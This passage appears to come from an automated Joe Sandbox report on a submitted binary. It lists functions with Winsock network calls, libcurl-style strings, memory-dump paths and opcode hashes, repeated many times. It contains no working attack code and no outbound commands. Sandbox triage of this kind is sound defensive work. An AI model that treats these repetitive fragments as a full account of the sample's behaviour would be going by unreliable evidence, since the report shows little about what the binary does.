                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: getsockname
                                                  • String ID:
                                                  • API String ID: 3358416759-0
                                                  • Opcode ID: b80c09a0868fe23c84f140178f837cd283ac892c8beea4407ac3b8e04732abb0
                                                  • Instruction ID: 6e19d8de4698ec1c1556c89abd7f2951f18664ba6254638fffe014d52ae86d3f
                                                  • Opcode Fuzzy Hash: b80c09a0868fe23c84f140178f837cd283ac892c8beea4407ac3b8e04732abb0
                                                  • Instruction Fuzzy Hash: 1C11967080878596EB268F1CD5027F6B3F8EFD0329F109A18E59942550F7365AC58BC2
                                                  Function 0099A920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • send.WS2_32(?,?,?,00000000,00000000,?), ref: 0099A97F
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: send
                                                  • String ID:
                                                  • API String ID: 2809346765-0
                                                  • Opcode ID: f08d2629fbc9b4db84ab0b1fe1c41361a4e892140bac9541b0630260c6d9aeb7
                                                  • Instruction ID: d624e1c5bda11a40c8f9e79c7a0185737bd8a3f6cfd3d0e52af10f5c2eecd1dd
                                                  • Opcode Fuzzy Hash: f08d2629fbc9b4db84ab0b1fe1c41361a4e892140bac9541b0630260c6d9aeb7
                                                  • Instruction Fuzzy Hash: 3501A272B10710AFCB148F18DC85B56B7A9FF84720F068659EA982B361C331AC108BE1
                                                  Function 0099AF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • socket.WS2_32(?,0099B280,00000000,-00000001,00000000,0099B280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 0099AF67
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: socket
                                                  • String ID:
                                                  • API String ID: 98920635-0
                                                  • Opcode ID: 2ccfdab7d9b53e421d5b614c26b81b15cbc84ee173177508dc6091373f4ba607
                                                  • Instruction ID: 1179f96c10c97f2466d36ac2265a5ab421abdd04f0b531c56411d1da46336217
                                                  • Opcode Fuzzy Hash: 2ccfdab7d9b53e421d5b614c26b81b15cbc84ee173177508dc6091373f4ba607
                                                  • Instruction Fuzzy Hash: C7E0EDB6A093256FDA54DB1CF8449ABF36DEFC4B20F065A49B85467204C330AC548BE2
                                                  Function 0099B020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • closesocket.WS2_32(?,00999422,?,?,?,?,?,?,?,?,?,?,?,00983377,00D64C60,00000000), ref: 0099B04D
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: closesocket
                                                  • String ID:
                                                  • API String ID: 2781271927-0
                                                  • Opcode ID: 317d6d6ba9afd82050ad513ca56c57697cace4b4216b54e81a4f231d959bd483
                                                  • Instruction ID: e9e9ee9de74a4cd7cda3b02cb3cd0f17d6d58efabc6d5c9cecf1f4afad33fccf
                                                  • Opcode Fuzzy Hash: 317d6d6ba9afd82050ad513ca56c57697cace4b4216b54e81a4f231d959bd483
                                                  • Instruction Fuzzy Hash: 99D0123470020157CE249A18DAC4A67766F7FD5710FA9CB68E42C4A569D73FDC47C641
                                                  Function 009367E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • ioctlsocket.WS2_32(?,8004667E,?,?,0090AF56,?,00000001), ref: 009367FC
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: ioctlsocket
                                                  • String ID:
                                                  • API String ID: 3577187118-0
                                                  • Opcode ID: ddbde87aebbf0a49ef41fdda541f14af7cbe610716517d74d882e1ddb401269e
                                                  • Instruction ID: 83e04ead97ecfab842b32efa3409d0dda0cbd0588d593ef691927f796129b38d
                                                  • Opcode Fuzzy Hash: ddbde87aebbf0a49ef41fdda541f14af7cbe610716517d74d882e1ddb401269e
                                                  • Instruction Fuzzy Hash: E9C080F111D201BFC70C8714D855B2F77D8DB44355F13581CB046C1190EA345990CF1B
                                                  Function 008D31D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: CloseHandle
                                                  • String ID:
                                                  • API String ID: 2962429428-0
                                                  • Opcode ID: a22cc452f07810a21f776ef16b7edd1fadcbfa0ab8c7d2d99c5196c847630019
                                                  • Instruction ID: f01450719d3996b7c17f1b9f46f550b0dba4d6175b8b37fe9c0f472a66a5edbd
                                                  • Opcode Fuzzy Hash: a22cc452f07810a21f776ef16b7edd1fadcbfa0ab8c7d2d99c5196c847630019
                                                  • Instruction Fuzzy Hash: B03178B49093059BCB00EFB8D58565EBBF0FF44345F008969E895E7341E7749A48DF62

                                                  Non-executed Functions

                                                  Function 008F4F70 Relevance: 20.9, Strings: 16, Instructions: 911COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: %.*s%%25%s]$%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$%s://$:;@?+$`W$`W$bW$bW$bW$file$file://%s%s%s$https$urlapi.c$vW$vW$xn--
                                                  • API String ID: 0-3916423684
                                                  • Opcode ID: 6ae3ab0932655c67c3c71748d889817bfb9bcebb6b774b4d8ac9d7df8b8b05d5
                                                  • Instruction ID: 344cc886189824c9ac4c2f0b56411f6f10415686b984e6a83f8241e182933907
                                                  • Opcode Fuzzy Hash: 6ae3ab0932655c67c3c71748d889817bfb9bcebb6b774b4d8ac9d7df8b8b05d5
                                                  • Instruction Fuzzy Hash: A0721631608B499BE7259A38C4467B677D2FF91344F088A2CEF85DB293E776D884C781
                                                  Function 008E4940 Relevance: 17.0, Strings: 13, Instructions: 731COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$%2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd$** Resuming transfer from byte position %lld$--:-$--:-$--:-$-:--$-:--$-:--$Callback aborted
                                                  • API String ID: 0-122532811
                                                  • Opcode ID: c4e4d9774fe0ec29b7de8b30df6c3554f2c4f28161a8d4ed55043db38623d73d
                                                  • Instruction ID: 4e90a7a3f80a24165c72366ca63e8073350d8e6837dcfc0c7c477e09303e844d
                                                  • Opcode Fuzzy Hash: c4e4d9774fe0ec29b7de8b30df6c3554f2c4f28161a8d4ed55043db38623d73d
                                                  • Instruction Fuzzy Hash: A242F571B08701AFD718DE29CC41B6BB7EAFBC4704F048A2CF95D97291E775A9048B92
                                                  Function 00989880 Relevance: 15.2, Strings: 12, Instructions: 226COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: -vc$ans$ate$attempts$ndot$out$retr$retr$rota$time$use-$usev
                                                  • API String ID: 0-1574211403
                                                  • Opcode ID: 146659c7ac83dc4e0f1b366873f65e8ce5eb37efe1d9466c7e793a935cc6124e
                                                  • Instruction ID: a1a8d26c04f8568c51673b68bd880778d128f9d7f00bd49d9ec8cfc26a8869b5
                                                  • Opcode Fuzzy Hash: 146659c7ac83dc4e0f1b366873f65e8ce5eb37efe1d9466c7e793a935cc6124e
                                                  • Instruction Fuzzy Hash: 5D61C8A5E0830167EB14B624AC53B3B72D99BD5344F08483DFC4A96392FA76DD148353
                                                  Function 00C5E050 Relevance: 12.6, APIs: 3, Strings: 3, Instructions: 2082COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: localeconv
                                                  • String ID: $d$nil)
                                                  • API String ID: 3737801528-394766432
                                                  • Opcode ID: 9523e7cb7d24f6b47f4f83e2e42a8d981e32699e121bae7239b7c9fe56972b40
                                                  • Instruction ID: d1581f13fa49ae559c8d3534ddb976e358a7aa626dfa71d87a0f9f9e79298505
                                                  • Opcode Fuzzy Hash: 9523e7cb7d24f6b47f4f83e2e42a8d981e32699e121bae7239b7c9fe56972b40
                                                  • Instruction Fuzzy Hash: 7B138E786083418FC724CF29C08062BBBE1BF99355F24492DF9A59B361D771EE89CB46
                                                  Function 0099EF90 Relevance: 9.4, Strings: 7, Instructions: 688COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: $.$;$?$?$xn--$xn--
                                                  • API String ID: 0-543057197
                                                  • Opcode ID: ea127da1ff15fe19dd13336530ecd9cf63c6535f5b69892eceb100f2fccbe9ab
                                                  • Instruction ID: 21afae9bdab2482d9e40a48d201777f2aff55dce92121f3169f3a8f9f282dc58
                                                  • Opcode Fuzzy Hash: ea127da1ff15fe19dd13336530ecd9cf63c6535f5b69892eceb100f2fccbe9ab
                                                  • Instruction Fuzzy Hash: E022E4B2A043019FEF209B289C51B6BB6E8AFD5348F04493CF859D7292F775D948C792
                                                  Function 008DA960 Relevance: 9.0, Strings: 6, Instructions: 1491COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
